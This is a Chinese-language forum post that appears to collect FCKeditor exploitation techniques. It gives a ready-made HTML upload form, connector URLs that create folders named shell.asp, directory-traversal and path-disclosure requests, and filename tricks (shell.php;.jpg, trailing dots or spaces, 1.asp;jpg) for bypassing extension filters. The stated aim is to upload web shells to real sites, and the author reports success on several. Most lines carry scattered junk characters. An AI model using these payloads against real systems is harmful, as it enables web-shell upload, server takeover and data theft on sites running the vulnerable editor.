Fckeditor漏洞利用总结 : ^& N' n6 ]3 m5 L8 Y5 ~
查看编辑器版本* R& v. I; J$ M. Z, M3 I+ N
FCKeditor/_whatsnew.html. }4 Z" ~* O) N
—————————————————————————————————————————————————————————————' Z- e |" V0 N
: z( z+ e- F# z2. Version 2.2 版本
' E- g9 W. U" U! H7 m% pApache+linux 环境下在上传文件后面加个.突破!测试通过。% U3 ^, s, g; F/ Q( b( w
—————————————————————————————————————————————————————————————% e" _* ]; Y$ |: M( e# O
, `* R i* S% |& s: `3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
* w( f& j9 Z0 Q& ?% R) \% O<form id="frmUpload" enctype="multipart/form-data"
# N# G* W: v+ M2 Eaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>1 b* g8 m/ u" c
<input type="file" name="NewFile" size="50"><br>
4 K" u. C/ ?* r' o( S1 }<input id="btnUpload" type="submit" value="Upload">6 z( {0 b# Q% |4 U8 b
</form>
1 l" ?( X9 L0 {/ V3 ]—————————————————————————————————————————————————————————————7 B* S2 w* [" t
. @( {- z. [, \2 V1 @ ]4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
: _, _. U2 _6 n$ s& o* f 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。4 }( Y. _& \5 D+ I4 s0 |) {; o; c, {
4.1:提交shell.php+空格绕过
3 I% t& x% y5 \9 U- n* D- w不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。1 D# \9 K: i) g
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。 x( A( R; Q8 m( W, W, R! a
—————————————————————————————————————————————————————————————
, X/ f! u' x! R) T, q* R: |( \- P( J5 B6 B8 T
5. 突破建立文件夹/ o# _( ~* R$ Z! X- W# \5 y! ^: w
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
$ A# M& b+ `0 g0 T: L! NFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp6 a* E7 S+ i j) J$ {# C
—————————————————————————————————————————————————————————————
1 a% W+ e, q6 N# b# J
" P7 J+ O. V% K3 m: [; I6. FCKeditor 中test 文件的上传地址
) c9 C4 I b7 g1 F' o" KFCKeditor/editor/filemanager/browser/default/connectors/test.html( r/ l5 S) h9 v: l2 D* ~
FCKeditor/editor/filemanager/upload/test.html6 q1 C6 `- ?! f
FCKeditor/editor/filemanager/connectors/test.html; r: n3 \) W* ^) o1 t
FCKeditor/editor/filemanager/connectors/uploadtest.html
% w0 r2 r y3 H—————————————————————————————————————————————————————————————
6 b1 g! m$ @' w" V, z
+ k5 N3 e% W$ D3 G* C, x7.常用上传地址
; {8 n: z6 E6 uFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/2 Z2 O- x* r: n: u. |, l& d6 u
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp$ e" }7 W) c9 [2 K
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
. g! e0 V& D* n* @JSP 版:' e" F0 @- \! _3 c2 V
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp" p9 E* p: ?+ ?* @1 A
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
, E* p0 m Z3 Y7 z- Q c件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
3 S& W8 ]/ R% a% u& \—————————————————————————————————————————————————————————————
( r& r2 T- k, t C: `/ H. c4 S$ P9 }9 \* c. Q, P' d3 x5 @6 h
8.其他上传地址
# R0 e' E) M8 zFCKeditor/_samples/default.html& S% L- s5 ~' Y$ B8 G3 D
FCKeditor/_samples/asp/sample01.asp
, J( ?& N* c% B) M* a! X8 E0 B1 KFCKeditor/_samples/asp/sample02.asp
5 i& G% x/ m }8 r7 n/ p0 aFCKeditor/_samples/asp/sample03.asp8 {+ k4 t4 @& n) }# P5 P2 j- c
FCKeditor/_samples/asp/sample04.asp
, `2 B& k$ [0 H1 I2 s6 V1 P- t0 S: d一般很多站点都已删除_samples 目录,可以试试。( B; r. {& k, G' X
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
, Y3 g0 i, Z5 e5 ?# h# o; Z/ O* b—————————————————————————————————————————————————————————————
4 A( I" D1 Q* V2 Z' R
% f9 I* y" c) |& B4 ^9.列目录漏洞也可助找上传地址
+ ^3 X( m; d5 o: pVersion 2.4.1 测试通过) F% ~1 u- {2 ]' S
修改CurrentFolder 参数使用 ../../来进入不同的目录
$ `! L2 `$ E1 b2 k' |& l `9 o/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp* f s% B$ X. Q
根据返回的XML 信息可以查看网站所有的目录。4 }" o; J: ^9 {* O4 V- i
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
- o5 K& E) m, X, g" a也可以直接浏览盘符:2 W! X& m) \! @$ ]) \. Q0 C
JSP 版本:# ?$ L6 J+ d6 O/ j8 \% S
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
$ ?# P4 R. P* \3 j8 y—————————————————————————————————————————————————————————————8 I" X! a/ i, `/ z3 R0 b
3 T! K# R. T7 z10.爆路径漏洞
: G) L6 m8 v0 ?5 K0 JFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp) a% E; @2 G5 ^0 e# t; @' ]
—————————————————————————————————————————————————————————————
0 W' {9 L/ M0 o
' B; W0 L. \ m( g( B0 T4 @& \11. FCKeditor 被动限制策略所导致的过滤不严问题5 @ e2 r; H' T- S7 \( ~
影响版本: FCKeditor x.x <= FCKeditor v2.4.3, C4 t8 Z5 X2 @; |% I4 d
脆弱描述:( [2 b! @" E9 m& J. {! U
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:8 i8 d: r$ ]- i$ {2 f# {/ ~/ v! D2 G
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
6 {3 F# S1 P, h# B& \6 Z) w0 E4 ]Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!( O2 l% P8 H* L. Y# p$ J9 ^
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。# Y* v, t2 I0 c- |' C, q
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
|( ?$ ^# p+ S8 J. ~ K—————————————————————————————————————————————————————————————
+ F4 @6 M( ~! Z
- i' ^8 g$ p, l( T7 ~/ L$ h" a12.最古老的漏洞,Type文件没有限制!' P) r, u( N0 I5 v
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! # `% y3 g) w: C( m
—————————————————————————————————————————————————————————————
# i N5 q5 v$ G3 x! i6 k O8 O2 {; A1 j: v5 Q% o
===============================================================================================================================================+ A6 ^ v1 t/ k# B. A, N0 l
: C+ ]1 T# z7 Z6 }8 l" b
FCK编辑器jsp版本漏洞:' t- |2 w, p3 a3 w+ K. A6 p
' E% V: } S9 {% a
2 }# {/ T# O5 K5 U( A, [3 \% D
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F A! y4 e1 Y! ^3 N! U
" F! s9 I: S4 _上传马所在目录
# Z/ q; x' C( z7 xFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/9 u7 {3 g! y% G8 W, a6 j
上传shell的地址:6 R4 @, V+ B! p: q. z* M) P8 L
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector% \* G* d3 ^/ l$ [) g
跟版本有关系.并不是百分百成功. 测试成功几个站.
7 {' C4 Z3 b3 D! U; P, ?不能通杀.很遗憾.
5 V' m/ t& g: c y! a- H+ f# Thttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector7 n# Y) ?+ |7 b$ L# r) U
如果以上地址不行可以试试8 O/ e. x' G$ U4 x; F
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
/ {$ q" U# s$ O, [8 P, [FCKeditor/_samples/
; @' s5 J$ u( Y9 }; R8 D/ C: iFCKeditor/_samples/default.html. s/ @8 g, D5 U2 V U0 v
FCKeditor/editor/fckeditor.htm
7 v2 z/ t5 H: F; Q# iFCKeditor/editor/fckdialog.html
( x! \. l! S0 \9 t) u, P+ O) G. b6 Y
: C' r) }. v" l5 `# L4 L) [* [( R5 J3 O4 {
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg) f. t5 Y4 O* M+ R
|